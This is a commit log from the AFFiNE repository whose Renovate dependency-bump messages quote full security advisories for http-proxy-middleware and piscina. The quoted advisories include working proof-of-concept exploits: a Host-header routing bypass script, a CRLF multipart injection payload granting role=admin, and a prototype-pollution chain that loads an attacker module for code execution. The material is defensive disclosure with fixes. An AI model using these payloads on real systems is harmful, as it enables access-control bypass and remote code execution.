Compare commits

...

71 Commits

Author SHA1 Message Date
renovate[bot] 6fa139bd2a chore: bump up capacitor monorepo to v8 2026-06-19 13:23:00 +00:00
renovate[bot] 16196c6ca1 chore: bump up http-proxy-middleware version to v3.0.7 [SECURITY] (#15131)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[http-proxy-middleware](https://redirect.github.com/chimurai/http-proxy-middleware)
| [`3.0.5` →
`3.0.7`](https://renovatebot.com/diffs/npm/http-proxy-middleware/3.0.5/3.0.7)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/http-proxy-middleware/3.0.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/http-proxy-middleware/3.0.5/3.0.7?slim=true)
|

---

### http-proxy-middleware `router` host+path substring matching allows
Host-header-driven backend routing bypass
[CVE-2026-55602](https://nvd.nist.gov/vuln/detail/CVE-2026-55602) /
[GHSA-64mm-vxmg-q3vj](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)

<details>
<summary>More information</summary>

#### Details
##### Summary

`http-proxy-middleware` documents `router` proxy-table entries as host,
path, or host+path selectors, but the host+path implementation uses
unanchored substring matching on attacker-controlled request metadata.
As a result, a crafted `Host` header that is only a superstring match
for a configured host+path key can still route a request to an
unintended backend.

##### Details

Tested code state:

- validated on tag `v4.0.0-beta.5`
- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`

Relevant code locations:

- `src/router.ts`
- `src/http-proxy-middleware.ts`

Affected public API:

- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`

Code explanation:

When a proxy-table router key contains `/`, `getTargetFromProxyTable()`
concatenates attacker-controlled `req.headers.host` and `req.url` into a
single `hostAndPath` string, then accepts the route if:

```ts
hostAndPath.indexOf(key) > -1
```

That is a substring test, not an exact host match plus intended path
match. In the validated PoC, the configured router key is:

```txt
localhost:3000/api
```

but the attacker-controlled host is:

```txt
evillocalhost:3000
```

and the request path is:

```txt
/api
```

The concatenated attacker-controlled string:

```txt
evillocalhost:3000/api
```

still contains the configured router key as a substring, so the
middleware selects the alternate backend even though the host is not
equal to the configured host.

Exploit path:

1. the application enables the documented proxy-table `router` feature
with at least one host+path rule
2. an external attacker sends an ordinary HTTP request with a crafted
`Host` header
3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection
before proxying
4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string
through substring matching
5. the request is proxied to the wrong backend

##### PoC

Create these files in the same working directory and run:

```bash
bash ./run.sh
```

##### File: `run.sh`

```bash

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
```

##### File: `Dockerfile`

```Dockerfile
FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction
```

##### File: `verify.mjs`

```js
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
        port: 3000,
        path,
        method: 'GET',
        headers: {
          Host: host,
        },
      },
      (res) => {
        let data = '';
        res.setEncoding('utf8');
        res.on('data', (chunk) => {
          data += chunk;
        });
        res.on('end', () => {
          resolve({ statusCode: res.statusCode, body: data });
        });
      },
    );
    req.on('error', reject);
    req.end();
  });
}

const defaultBackend = http.createServer((req, res) => {
  res.end('DEFAULT');
});

const secretBackend = http.createServer((req, res) => {
  res.end('SECRET');
});

const proxyMiddleware = createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

const proxyServer = http.createServer((req, res) => {
  proxyMiddleware(req, res, () => {
    res.statusCode = 404;
    res.end('NO_PROXY');
  });
});

try {
  assert.ok(fs.existsSync('/work/repo/dist/index.js'));
  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

  await listen(defaultBackend, 3101);
  await listen(secretBackend, 3102);
  await listen(proxyServer, 3000);
  console.log('STEP start-services ok');

  const baseline = await request('/api', 'safe.example:3000');
  assert.equal(baseline.statusCode, 200);
  assert.equal(baseline.body, 'DEFAULT');
  console.log(`STEP baseline-route body=${baseline.body}`);

  const crafted = await request('/api', CRAFTED_HOST);
  assert.equal(crafted.statusCode, 200);
  assert.equal(crafted.body, 'SECRET');
  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
  console.log(`STEP crafted-route body=${crafted.body}`);

  console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}
```

This PoC starts:

- one default backend returning `DEFAULT`
- one alternate backend returning `SECRET`
- one proxy using:

```js
createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});
```

It then sends:

1. a baseline request to `/api` with `Host: safe.example:3000`
2. a crafted request to `/api` with `Host: evillocalhost:3000`

Observed result from the validated PoC:

- baseline request: `STEP baseline-route body=DEFAULT`
- crafted request: `STEP crafted-route body=SECRET`
- success marker: `RESULT reproduced host_header_injection router
substring match bypass`

The PoC is considered successful only if:

1. the baseline request stays on the default backend
2. the crafted request reaches the alternate backend
3. the crafted host is not equal to the configured router host

##### Impact

This is a backend-selection integrity issue in a documented library
feature. Applications that use host+path router-table rules for backend
segmentation, tenant routing, or separation of public and more sensitive
upstreams can have that routing boundary bypassed by an unauthenticated
external client using an ordinary crafted `Host` header.

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj](https://redirect.github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj)
-
[https://github.com/advisories/GHSA-64mm-vxmg-q3vj](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### http-proxy-middleware: multipart/form-data field injection via
unescaped CRLF in `fixRequestBody`
[CVE-2026-55603](https://nvd.nist.gov/vuln/detail/CVE-2026-55603) /
[GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)

<details>
<summary>More information</summary>

#### Details
##### Summary
`fixRequestBody()` is the library's documented helper for re-emitting a
request body that was already consumed by a body parser. When the
**outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the
body with `handlerFormDataBodyData()`, which interpolates each
`req.body` key and value directly into the multipart wire format
**without neutralizing CR/LF**:

```js
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}
```

A `\r\n` inside a value (or key) lets an attacker close the current part
and inject an **entirely new form part**. Because the proxy's own body
parser saw a single opaque value, any gateway-side policy or validation
performed on `req.body` is evaluated against a different set of fields
than the upstream backend ultimately parses a request/parameter
desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: `application/json`
uses `JSON.stringify` (escapes control chars) and
`application/x-www-form-urlencoded` uses `querystring.stringify`
(percent-encodes). Only the multipart branch lacks escaping.

##### Preconditions 
All three must hold; this narrows real-world exposure and is the basis
for `AC:H`:
1. The proxy app populates `req.body` with a **non-multipart** parser
(`express.urlencoded`, `express.json`, or text) so an injected boundary
in a value is **not** split on input.
2. The proxied (outgoing) request is sent as **`multipart/form-data`**
(e.g. an adaptation layer, or any flow that sets the upstream
content-type to multipart), so the vulnerable branch runs.
3. The app calls `fixRequestBody` (the documented pattern for "I
body-parsed, now re-stream"), and an attacker controls at least one body
field value or key.

> Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is
generally **not** exploitable for a *new-field* injection, because the
proxy's multipart parser already splits the injected boundary, so
`req.body` and the backend agree. The desync specifically requires a
non-multipart input parser.

##### Impact
When the preconditions hold, an attacker injects/overrides multipart
fields seen only by the backend:
- **Validation / access-control bypass** bypass gateway-side field
checks (demonstrated below: a gateway that forbids `role=admin` is
bypassed; backend grants admin).
- **Parameter tampering** add or overwrite fields the backend trusts
(IDs, flags, prices).
- **File-part injection** inject a `filename="..."` part into the
upstream multipart stream.

##### Proof of Concept

```js
// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
```

Output: one input field becomes **two** parts; `role=admin` was injected
via the unescaped CRLF:

```
--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--
```

`req.body` had a single key (`user`), so any gateway policy checking
`req.body.role` passes, yet the backend's multipart parser receives
`role=admin`. On the wire the attacker simply sends, as
`application/x-www-form-urlencoded`:
`user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--`

##### Remediation
Neutralize CR/LF (and `"`) in keys/values before interpolation, or build
the body with a real multipart encoder (e.g. `FormData` / `form-data`)
instead of string concatenation. Minimal fix:

```js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  const bad = /[\r\n]/;
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    const v = String(value);
    if (bad.test(key) || bad.test(v)) {
      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
    }
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
  }
}
```
(Reject is preferable to silent stripping, to avoid masking malicious
input.)

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N`

#### References
-
[https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm)
-
[https://github.com/advisories/GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>chimurai/http-proxy-middleware
(http-proxy-middleware)</summary>

###
[`v3.0.7`](https://redirect.github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.7)

[Compare
Source](https://redirect.github.com/chimurai/http-proxy-middleware/compare/v3.0.6...v3.0.7)

#### What's Changed

- fix(fixRequestBody): harden form-data stringification by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1259](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1259)
- chore(package.json): v3.0.7 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1261](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1261)

**Full Changelog**:
<https://github.com/chimurai/http-proxy-middleware/compare/v3.0.6...v3.0.7>

###
[`v3.0.6`](https://redirect.github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.6)

[Compare
Source](https://redirect.github.com/chimurai/http-proxy-middleware/compare/v3.0.5...v3.0.6)

#### What's Changed

- fix(types): fix Logger type by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1104](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1104)
- fix(fixRequestBody): support text/plain by
[@&#8203;knudtty](https://redirect.github.com/knudtty) in
[#&#8203;1103](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1103)
- chore(examples): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1105](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1105)
- build(prettier): improve prettier setup by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1108](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1108)
- chore(deps): fix punycode node deprecation warning by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1109](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1109)
- chore(examples): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1110](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1110)
- build(codespaces): add devcontainer.json by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1112](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1112)
- chore(package): bump dev dependencies by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1116](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1116)
- ci(github-action): ci.yml add node v24 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1117](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1117)
- chore(package): bump dev dependencies by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1118](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1118)
- chore(package): upgrade to jest v30 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1122](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1122)
- chore(examples): upgrade deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1124](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1124)
- chore(package): update dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1125](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1125)
- test(websocket): fix ws import by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1126](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1126)
- chore(refactor): use `node:` protocol imports by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1127](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1127)
- ci(node24): pin node24 due to TLS issue with mockttp by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1137](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1137)
- docs(recipes/pathRewrite.md): fix comment by
[@&#8203;DEBargha2004](https://redirect.github.com/DEBargha2004) in
[#&#8203;1135](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1135)
- chore(package): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1138](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1138)
- chore(deps): update actions/checkout action to v5 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1140](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1140)
- fix(error-response-plugin): sanitize input by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1141](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1141)
- chore(package.json): update dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1143](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1143)
- chore: add context7.json by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1144](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1144)
- build(eslint): update eslint.config.mjs by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1145](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1145)
- ci(github workflow): harden github workflows by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1146](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1146)
- chore(package): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1147](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1147)
- ci(ci.yml): unpin node 24 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1148](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1148)
- docs(recipes): fix servers.md http.createServer example by
[@&#8203;hacklschorsch](https://redirect.github.com/hacklschorsch) in
[#&#8203;1150](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1150)
- ci: publish with oidc by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1152](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1152)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1153](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1153)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1155](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1155)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1158](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1158)
- test(types.spec.ts): add type check when req or res are 'any' by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1161](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1161)
- chore(package.json): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1164](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1164)
- chore(package.json): eslint v10 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1165](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1165)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1166](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1166)
- chore(package.json): bump dev-deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1171](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1171)
- docs(examples): fix websocket example by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1170](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1170)
- build(vscode): use workspace version of TypeScript by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1173](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1173)
- fix(router): harden proxy-table matching by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1254](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1254)
- chore(package.json): v3.0.6 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1256](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1256)

#### New Contributors

- [@&#8203;knudtty](https://redirect.github.com/knudtty) made their
first contribution in
[#&#8203;1103](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1103)
- [@&#8203;DEBargha2004](https://redirect.github.com/DEBargha2004) made
their first contribution in
[#&#8203;1135](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1135)
- [@&#8203;hacklschorsch](https://redirect.github.com/hacklschorsch)
made their first contribution in
[#&#8203;1150](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1150)

**Full Changelog**:
<https://github.com/chimurai/http-proxy-middleware/compare/v3.0.5...v3.0.6>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMzEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIzMS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-19 12:18:31 +08:00
renovate[bot] 9a9f243966 chore: bump up piscina version to v5.2.0 [SECURITY] (#15132)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [piscina](https://redirect.github.com/piscinajs/piscina) | [`5.1.4` →
`5.2.0`](https://renovatebot.com/diffs/npm/piscina/5.1.4/5.2.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/piscina/5.2.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/piscina/5.1.4/5.2.0?slim=true)
|

---

### piscina: Prototype Pollution Gadget → RCE via inherited
options.filename
[CVE-2026-55388](https://nvd.nist.gov/vuln/detail/CVE-2026-55388) /
[GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)

<details>
<summary>More information</summary>

#### Details
##### Summary

`piscina`'s constructor and `run()` paths read the `filename` option via
plain member access:

```js
// dist/index.js line 92 (constructor)
const filename = options.filename
  ? (0, common_1.maybeFileURLToPath)(options.filename)
  : null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
    if (options === null || typeof options !== 'object') {
        return Promise.reject(new TypeError('options must be an object'));
    }
    const { transferList, filename, name, signal } = options;
```

Both reads fall through the prototype chain when the caller's options
object doesn't have `filename` as an own property. When
`Object.prototype.filename` is polluted upstream — by any of the
well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3,
set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the
inherited value flows to `worker_threads.Worker` import and the
attacker's `.mjs` runs in the worker.

**Subtlety**: calling `pool.run(task)` with no second arg uses
`kDefaultRunOptions` which has `filename: null` as an OWN property —
that path DOES NOT fire. The vulnerable shape is when the caller passes
their own options object (commonly `{signal: ac.signal}` for abort
support, `{name: ...}` for task labelling, etc.). These caller-built
options objects inherit from `Object.prototype` unless the caller
explicitly uses `Object.create(null)`.

##### Impact

Two preconditions:

1. **Upstream PP-source** somewhere in the process — common in
transitive deps
2. **Attacker-controllable `.mjs`** at a known filesystem path —
realistic via upload endpoints, /tmp races, predictable node_modules
paths, or supply-chain

Once both fire:
- Every `pool.run(task, opts)` call across the entire process is
hijacked
- Attacker's exported function is called with the legitimate caller's
task data — **attacker reads per-request app data**
- Attacker controls the return value — caller receives
`worker_response.by = "ATTACKER-WORKER"` and any other attacker-supplied
response fields — **attacker can poison return values to legitimate
clients**
- Hijack persists until process restart

Strictly worse than the analogous pino chain because piscina actually
*invokes* the attacker function with caller data on every dispatch (pino
imports the attacker module once and errors out).

##### Affected versions

Empirically verified vulnerable on `piscina@5.1.4` (latest stable at
time of disclosure). The bug shape is in the constructor's
`options.filename` read at line 92 of `dist/index.js`, present since the
worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.

##### Proof of concept

##### A) Minimal in-process PoC

```js
import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"
```

##### B) Full-stack HTTP chain (this is the realistic shape)

A correctly-initialized pool gets hijacked by attacker activity. Pool is
created at server boot with a legitimate worker, then per-request
handlers call `pool.run(req.body, {signal: ac.signal})` — the standard
abort-aware shape.

```js
// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';

// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}

// CORRECT pool init at boot
const pool = new Piscina({
  filename: './valid-worker.mjs',
  minThreads: 1, maxThreads: 2,
});

const config = {};
const app = express();

app.post('/api/settings', express.json(), (req, res) => {
  vulnMerge(config, req.body);                    // PP source
  res.json({ ok: true });
});

app.post('/api/process', express.json(), async (req, res) => {
  const ac = new AbortController();
  const result = await pool.run(req.body, { signal: ac.signal });  // <-- hijacked
  res.json({ ok: true, worker_response: result });
});

app.listen(7755);

// === Attacker, 3 HTTP requests ===
// POST /upload  → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
//                  → worker imports /tmp/atk.mjs
//                  → attacker fn called with req.body of THIS request
//                  → caller receives attacker-shaped response
```

Empirical observation on `piscina@5.1.4` + Node 23.11.0:
- Pre-attack `/api/process` returns `{by: 'valid-worker'}`
- Cold-path `/probe` after PP source confirms `({}).filename` is
polluted process-wide
- Post-attack `/api/process` returns `{by: 'ATTACKER-WORKER', processed:
<caller's exfil data>}`
- Sentinel file written from inside `piscina/dist/worker.js` with the
worker process's uid + env access

##### Recommended fix

Minimal — own-property guard at both option-read sites:

```js
// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
  ? options.filename
  : null;
const filename = userFilename
  ? (0, common_1.maybeFileURLToPath)(userFilename)
  : null;

// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options);          // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;
```

More idiomatic — use a null-prototype working object throughout
`this.options`:

```js
const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
  ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
  : null;
this.options.maxQueue = 0;
```

Either approach closes the gadget without breaking any legitimate caller
pattern.

The pattern is the same as recommended for axios CVE-2026-44494 and the
pino PSA filed earlier today. Cross-fix consideration: any other library
you maintain that uses similar `options.X` member-access for worker /
child-process / module-load operations is worth a quick audit.

##### Coordination

- Same maintainer as pino — you're already in security-triage mode for
that PSA. Happy to coordinate timing / disclosure dates across both.
- Will not share publicly until GHSA published or 90 days.
- Please credit `ridingsa` if you choose to credit a reporter.

##### How this was discovered

